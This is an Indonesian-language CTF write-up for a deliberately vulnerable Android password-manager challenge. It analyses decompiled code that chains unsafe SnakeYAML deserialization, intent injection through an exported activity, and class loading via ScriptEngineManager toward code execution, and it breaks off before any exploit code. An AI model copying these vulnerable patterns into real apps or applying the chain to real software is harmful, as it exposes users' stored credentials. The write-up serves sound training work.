100%;" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div><h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><p>It’s a Password Manager, what could go wrong (again)?</p><hr><p>The infrastructure being used is based on our Mobile POC Tester (<a class="link"   href="https://github.com/TCP1P/Mobile-POC-Tester" >https://github.com/TCP1P/Mobile-POC-Tester<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>).<br>You will need to create your exploit application that will be executed in the server.<br>You can check <code>client_dist.py</code> for more information on how the automation for this challenge runs.</p><p><strong>POC Tester</strong>: <a class="link"   href="http://45.32.119.201:5000/" >http://45.32.119.201:5000/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h2 id="Analysis"><a href="#Analysis" class="headerlink" title="Analysis"></a>Analysis</h2><p>Kita diberikan file sebagai berikut:</p><ul><li>challenge.apk</li><li>client_dist.py</li></ul><p>Kalian bisa mengakses filenya pada <a class="link"   href="https://github.com/TCP1P/TCP1P-CTF-2024-Challenges-Public/tree/main/Mobile/Password%20Manager%202.0/dist" >link ini<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>.</p><p>APK-nya adalah aplikasi Password Manager. Kita bisa mendekompilasi menggunakan jadx untuk melihat kode sumbernya. Aplikasi ini hanya memiliki password manager didalamnya yang dimana ketika kita melakukan Happy Flow pada aplikasinya, kita bisa memasukan kata sandi baru kedalam aplikasi ini dan nantinya kata sandi itu akan disimpan pada internal storage pada android kita.</p><p>Struktur dari aplikasi ini adalah sebagai berikut:<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i.ibb.co.com/YZ26M98/structure.png"                                     ></p><p>Dengan <code>AndroidManifest.xml</code> sebagai berikut:</p><div class="code-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">manifest</span> <span class="attr">xmlns:android</span>=<span class="string">&quot;http://schemas.android.com/apk/res/android&quot;</span> <span class="attr">android:versionCode</span>=<span class="string">&quot;2&quot;</span> <span class="attr">android:versionName</span>=<span class="string">&quot;2.0&quot;</span> <span class="attr">android:compileSdkVersion</span>=<span class="string">&quot;23&quot;</span> <span class="attr">android:compileSdkVersionCodename</span>=<span class="string">&quot;6.0-2438415&quot;</span> <span class="attr">package</span>=<span class="string">&quot;com.aimardcr.pwdmanager&quot;</span> <span class="attr">platformBuildVersionCode</span>=<span class="string">&quot;23&quot;</span> <span class="attr">platformBuildVersionName</span>=<span class="string">&quot;6.0-2438415&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">uses-sdk</span> <span class="attr">android:minSdkVersion</span>=<span class="string">&quot;24&quot;</span> <span class="attr">android:targetSdkVersion</span>=<span class="string">&quot;33&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">uses-permission</span> <span class="attr">android:name</span>=<span class="string">&quot;android.permission.INTERNET&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">permission</span> <span class="attr">android:name</span>=<span class="string">&quot;com.aimardcr.pwdmanager.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;</span> <span class="attr">android:protectionLevel</span>=<span class="string">&quot;signature&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">uses-permission</span> <span class="attr">android:name</span>=<span class="string">&quot;com.aimardcr.pwdmanager.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">application</span> <span class="attr">android:theme</span>=<span class="string">&quot;@style/Theme.NotesManager&quot;</span> <span class="attr">android:label</span>=<span class="string">&quot;@string/app_name&quot;</span> <span class="attr">android:icon</span>=<span class="string">&quot;@mipmap/ic_launcher&quot;</span> <span class="attr">android:name</span>=<span class="string">&quot;com.aimardcr.pwdmanager.MainApplication&quot;</span> <span class="attr">android:debuggable</span>=<span class="string">&quot;true&quot;</span> <span class="attr">android:allowBackup</span>=<span class="string">&quot;false&quot;</span> <span class="attr">android:supportsRtl</span>=<span class="string">&quot;true&quot;</span> <span class="attr">android:extractNativeLibs</span>=<span class="string">&quot;true&quot;</span> <span class="attr">android:usesCleartextTraffic</span>=<span class="string">&quot;true&quot;</span> <span class="attr">android:networkSecurityConfig</span>=<span class="string">&quot;@xml/network_security_config&quot;</span> <span class="attr">android:roundIcon</span>=<span class="string">&quot;@mipmap/ic_launcher&quot;</span> <span class="attr">android:appComponentFactory</span>=<span class="string">&quot;androidx.core.app.CoreComponentFactory&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">activity</span> <span class="attr">android:theme</span>=<span class="string">&quot;@style/Theme.NotesManager.NoActionBar&quot;</span> <span class="attr">android:label</span>=<span class="string">&quot;@string/app_name&quot;</span> <span class="attr">android:name</span>=<span class="string">&quot;com.aimardcr.pwdmanager.MainActivity&quot;</span> <span class="attr">android:exported</span>=<span class="string">&quot;true&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">&quot;android.intent.action.MAIN&quot;</span>/&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">&quot;android.intent.category.LAUNCHER&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">activity</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">activity</span> <span class="attr">android:theme</span>=<span class="string">&quot;@style/Theme.NotesManager.NoActionBar&quot;</span> <span class="attr">android:label</span>=<span class="string">&quot;DevActivity&quot;</span> <span class="attr">android:name</span>=<span class="string">&quot;com.aimardcr.pwdmanager.CalculatorActivity&quot;</span> <span class="attr">android:exported</span>=<span class="string">&quot;true&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">provider</span> <span class="attr">android:name</span>=<span class="string">&quot;com.aimardcr.pwdmanager.providers.MyFileProvider&quot;</span> <span class="attr">android:enabled</span>=<span class="string">&quot;true&quot;</span> <span class="attr">android:exported</span>=<span class="string">&quot;false&quot;</span> <span class="attr">android:authorities</span>=<span class="string">&quot;com.aimardcr.pwdmanager&quot;</span> <span class="attr">android:grantUriPermissions</span>=<span class="string">&quot;true&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">meta-data</span> <span class="attr">android:name</span>=<span class="string">&quot;android.support.FILE_PROVIDER_PATHS&quot;</span> <span class="attr">android:resource</span>=<span class="string">&quot;@xml/file_paths&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">provider</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">provider</span> <span class="attr">android:name</span>=<span class="string">&quot;androidx.startup.InitializationProvider&quot;</span> <span class="attr">android:exported</span>=<span class="string">&quot;false&quot;</span> <span class="attr">android:authorities</span>=<span class="string">&quot;com.aimardcr.pwdmanager.androidx-startup&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">meta-data</span> <span class="attr">android:name</span>=<span class="string">&quot;androidx.emoji2.text.EmojiCompatInitializer&quot;</span> <span class="attr">android:value</span>=<span class="string">&quot;androidx.startup&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">meta-data</span> <span class="attr">android:name</span>=<span class="string">&quot;androidx.lifecycle.ProcessLifecycleInitializer&quot;</span> <span class="attr">android:value</span>=<span class="string">&quot;androidx.startup&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">meta-data</span> <span class="attr">android:name</span>=<span class="string">&quot;androidx.profileinstaller.ProfileInstallerInitializer&quot;</span> <span class="attr">android:value</span>=<span class="string">&quot;androidx.startup&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">provider</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">uses-library</span> <span class="attr">android:name</span>=<span class="string">&quot;androidx.window.extensions&quot;</span> <span class="attr">android:required</span>=<span class="string">&quot;false&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">uses-library</span> <span class="attr">android:name</span>=<span class="string">&quot;androidx.window.sidecar&quot;</span> <span class="attr">android:required</span>=<span class="string">&quot;false&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">receiver</span> <span class="attr">android:name</span>=<span class="string">&quot;androidx.profileinstaller.ProfileInstallReceiver&quot;</span> <span class="attr">android:permission</span>=<span class="string">&quot;android.permission.DUMP&quot;</span> <span class="attr">android:enabled</span>=<span class="string">&quot;true&quot;</span> <span class="attr">android:exported</span>=<span class="string">&quot;true&quot;</span> <span class="attr">android:directBootAware</span>=<span class="string">&quot;false&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">&quot;androidx.profileinstaller.action.INSTALL_PROFILE&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">&quot;androidx.profileinstaller.action.SKIP_FILE&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">&quot;androidx.profileinstaller.action.SAVE_PROFILE&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">&quot;androidx.profileinstaller.action.BENCHMARK_OPERATION&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">intent-filter</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">receiver</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">application</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">manifest</span>&gt;</span></span><br></pre></td></tr></table></figure></div><h3 id="SnakeYAML-Deserialization-Vulnerability"><a href="#SnakeYAML-Deserialization-Vulnerability" class="headerlink" title="SnakeYAML Deserialization Vulnerability"></a>SnakeYAML Deserialization Vulnerability</h3><p>Ketika kita perhatikan pada activity <code>com.aimardcr.pwdmanager.ui.pwd.PwdFragment</code> kita bisa melihat bahwa dia menggunakan <code>snakeyaml</code> untuk load file <code>pwds.yml</code>:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">updatePasswordList</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(getContext().getFilesDir(), <span class="string">&quot;pwds.yml&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (!file.exists()) &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">InputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(file);</span><br><span class="line">        <span class="type">Yaml</span> <span class="variable">yaml</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Yaml</span>(<span class="keyword">new</span> <span class="title class_">Constructor</span>(Map.class));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">data</span> <span class="operator">=</span> yaml.load(inputStream);</span><br><span class="line">        <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">            List&lt;Map&lt;String, Object&gt;&gt; passwordDataList = (List) ((Map) data).get(<span class="string">&quot;passwords&quot;</span>);</span><br><span class="line">            <span class="keyword">final</span> List&lt;Password&gt; passwordList = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">            <span class="keyword">for</span> (Map&lt;String, Object&gt; passwordData : passwordDataList) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">id</span> <span class="operator">=</span> ((Integer) passwordData.get(<span class="string">&quot;id&quot;</span>)).intValue();</span><br><span class="line">                <span class="type">String</span> <span class="variable">applicationName</span> <span class="operator">=</span> (String) passwordData.get(<span class="string">&quot;application&quot;</span>);</span><br><span class="line">                <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> (String) passwordData.get(<span class="string">&quot;username&quot;</span>);</span><br><span class="line">                <span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> (String) passwordData.get(<span class="string">&quot;password&quot;</span>);</span><br><span class="line">                <span class="type">Password</span> <span class="variable">pwd</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Password</span>(id, applicationName, username, password);</span><br><span class="line">                passwordList.add(pwd);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="type">PwdAdapter</span> <span class="variable">passwordsAdapter</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PwdAdapter</span>(getContext(), (Password[]) passwordList.toArray(<span class="keyword">new</span> <span class="title class_">Password</span>[<span class="number">0</span>]));</span><br><span class="line">            passwordsAdapter.setOnPasswordClickedListener(<span class="keyword">new</span> <span class="title class_">OnPwdClickedListener</span>() &#123; <span class="comment">// from class: com.aimardcr.pwdmanager.ui.pwd.PwdFragment.1</span></span><br><span class="line">                <span class="meta">@Override</span> <span class="comment">// com.aimardcr.pwdmanager.ui.pwd.OnPwdClickedListener</span></span><br><span class="line">                <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onPasswordClick</span><span class="params">(<span class="type">int</span> position)</span> &#123;</span><br><span class="line">                    <span class="type">Password</span> <span class="variable">password2</span> <span class="operator">=</span> (Password) passwordList.get(position);</span><br><span class="line">                    PwdFragment.<span class="built_in">this</span>.showPasswordDialog(password2);</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="meta">@Override</span> <span class="comment">// com.aimardcr.pwdmanager.ui.pwd.OnPwdClickedListener</span></span><br><span class="line">                <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onPasswordLongClick</span><span class="params">(<span class="type">int</span> position)</span> &#123;</span><br><span class="line">                    <span class="type">Password</span> <span class="variable">password2</span> <span class="operator">=</span> (Password) passwordList.get(position);</span><br><span class="line">                    PwdFragment.<span class="built_in">this</span>.showDeletePasswordDialog(password2);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;);</span><br><span class="line">            <span class="built_in">this</span>.binding.passwordList.setAdapter(passwordsAdapter);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">        Snackbar.make(<span class="built_in">this</span>.binding.getRoot(), <span class="string">&quot;An error occurred while loading passwords.&quot;</span>, <span class="number">0</span>).show();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Dia tidak menggunakan <code>SafeConstructor</code> yang dimana bisa membatasi class yang bisa di-deserialize. Jadi kita bisa melakukan deserialization gadget chaining untuk melakukan remote code execution. Tetapi kita tidak tahu bagaimana cara write file <code>pwds.yml</code> ini.</p><h3 id="Content-Provider"><a href="#Content-Provider" class="headerlink" title="Content Provider"></a>Content Provider</h3><p>Kita bisa melihat bahwa aplikasi ini memiliki sebuah content provider yang bisa kita akses dengan <code>content://com.aimardcr.pwdmanager</code>:</p><div class="code-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">provider</span> <span class="attr">android:name</span>=<span class="string">&quot;com.aimardcr.pwdmanager.providers.MyFileProvider&quot;</span> <span class="attr">android:enabled</span>=<span class="string">&quot;true&quot;</span> <span class="attr">android:exported</span>=<span class="string">&quot;false&quot;</span> <span class="attr">android:authorities</span>=<span class="string">&quot;com.aimardcr.pwdmanager&quot;</span> <span class="attr">android:grantUriPermissions</span>=<span class="string">&quot;true&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>Tapi kita tidak bisa mengakses content provider ini karena <code>exported=&quot;false&quot;</code>, yang artinya content provider ini hanya bisa diakses oleh aplikasi ini sendiri.</p><h3 id="CalculatorActivity"><a href="#CalculatorActivity" class="headerlink" title="CalculatorActivity"></a>CalculatorActivity</h3><p>Jika kita melihat AndroidManifest.xml, kita bisa melihat bahwa aplikasi ini memiliki activity yang bernama <code>CalculatorActivity</code> yang dimana memiliki <code>exported=&quot;true&quot;</code>:</p><div class="code-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">activity</span> <span class="attr">android:theme</span>=<span class="string">&quot;@style/Theme.NotesManager.NoActionBar&quot;</span> <span class="attr">android:label</span>=<span class="string">&quot;DevActivity&quot;</span> <span class="attr">android:name</span>=<span class="string">&quot;com.aimardcr.pwdmanager.CalculatorActivity&quot;</span> <span class="attr">android:exported</span>=<span class="string">&quot;true&quot;</span>/&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>exported=&quot;true&quot;</code> artinya bahwa activity tersebut bisa diakses oleh aplikasi lain tanpa memerlukan permission. Hal ini merupakan risiko keamanan karena aplikasi lain bisa menjalankan activity ini tanpa memerlukan permission.</p><p>Berikut ini adalah source code dari <code>CalculatorActivity</code>:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.aimardcr.pwdmanager;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.app.Activity;</span><br><span class="line"><span class="keyword">import</span> android.content.Intent;</span><br><span class="line"><span class="keyword">import</span> android.os.Bundle;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* loaded from: classes3.dex */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CalculatorActivity</span> <span class="keyword">extends</span> <span class="title class_">Activity</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span> <span class="comment">// android.app.Activity</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onCreate</span><span class="params">(Bundle savedInstanceState)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>.onCreate(savedInstanceState);</span><br><span class="line">        setContentView(R.layout.activity_calculator);</span><br><span class="line">        <span class="type">Intent</span> <span class="variable">i</span> <span class="operator">=</span> getIntent();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> i.getIntExtra(<span class="string">&quot;left&quot;</span>, <span class="number">4</span>);</span><br><span class="line">            <span class="type">int</span> <span class="variable">right</span> <span class="operator">=</span> i.getIntExtra(<span class="string">&quot;right&quot;</span>, <span class="number">2</span>);</span><br><span class="line">            <span class="type">char</span> <span class="variable">operator</span> <span class="operator">=</span> i.getCharExtra(<span class="string">&quot;operator&quot;</span>, <span class="string">&#x27;+&#x27;</span>);</span><br><span class="line">            <span class="type">int</span> <span class="variable">result</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">            <span class="keyword">switch</span> (operator) &#123;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;*&#x27;</span>:</span><br><span class="line">                    result = left * right;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;+&#x27;</span>:</span><br><span class="line">                    result = left + right;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;-&#x27;</span>:</span><br><span class="line">                    result = left - right;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;/&#x27;</span>:</span><br><span class="line">                    result = left / right;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            setResult(<span class="number">0</span>, <span class="keyword">new</span> <span class="title class_">Intent</span>().putExtra(<span class="string">&quot;result&quot;</span>, result));</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            setResult(-<span class="number">1</span>, i);</span><br><span class="line">        &#125;</span><br><span class="line">        finish();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Seperti yang bisa kita lihat pada kode diatas, <code>CalculatorActivity</code> menerima 3 parameter: <code>left</code>, <code>right</code>, dan <code>operator</code>. Kemudian melakukan perhitungan berdasarkan operator dan mereturn hasilnya. Hasilnya kemudian dikirim kembali ke caller activity.</p><p>Tapi ada sebuah exception yang dimana jika kita melakukan pembagian dengan angka 0, maka akan terjadi exception dan dia akan mereturn <code>setResult(-1, i)</code> yang dimana nilai <code>i</code> adalah <code>Intent i = getIntent();</code>, yang memungkinkan kita untuk melakukan intent injection.</p><h3 id="CustomClassLoader"><a href="#CustomClassLoader" class="headerlink" title="CustomClassLoader"></a>CustomClassLoader</h3><p>Kita bisa melihat bahwa aplikasi ini memiliki sebuah class yang bernama <code>CustomClassLoader</code> yang dimana bisa kita gunakan untuk melakukan load class dari apk yang kita buat:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.aimardcr.pwdmanager;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> dalvik.system.PathClassLoader;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* loaded from: classes3.dex */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomClassLoader</span> <span class="keyword">extends</span> <span class="title class_">PathClassLoader</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">CustomClassLoader</span><span class="params">(String dexPath)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(dexPath, PathClassLoader.getSystemClassLoader());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Tapi ini hanya bisa melakukan load saja dan tidak bisa melakukan execute class yang kita load.</p><h3 id="ScriptEngineManager"><a href="#ScriptEngineManager" class="headerlink" title="ScriptEngineManager"></a>ScriptEngineManager</h3><p>Kita bisa melihat bahwa aplikasi ini memiliki library <code>javax.script</code> yang dimana bisa kita gunakan untuk melakukan execute class yang kita load, karena didalam argument dari <code>ScriptEngineManager</code> dia menerima <code>ClassLoader</code>:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="title function_">ScriptEngineManager</span><span class="params">(ClassLoader loader)</span> &#123;</span><br><span class="line">    init(loader);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(<span class="keyword">final</span> ClassLoader loader)</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.globalScope = <span class="keyword">new</span> <span class="title class_">SimpleBindings</span>();</span><br><span class="line">    <span class="built_in">this</span>.engineSpis = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">    <span class="built_in">this</span>.nameAssociations = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    <span class="built_in">this</span>.extensionAssociations = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    <span class="built_in">this</span>.mimeTypeAssociations = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    AccessController.doPrivileged(<span class="keyword">new</span> <span class="title class_">PrivilegedAction</span>() &#123; <span class="comment">// from class: javax.script.ScriptEngineManager.1</span></span><br><span class="line">        <span class="meta">@Override</span> <span class="comment">// java.security.PrivilegedAction</span></span><br><span class="line">        <span class="keyword">public</span> Object <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">            ScriptEngineManager.<span class="built_in">this</span>.initEngines(loader);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">initEngines</span><span class="params">(ClassLoader loader)</span> &#123;</span><br><span class="line">    Iterator itr;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (loader != <span class="literal">null</span>) &#123;</span><br><span class="line">            itr = Service.providers(ScriptEngineFactory.class, loader);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            itr = Service.installedProviders(ScriptEngineFactory.class);</span><br><span class="line">        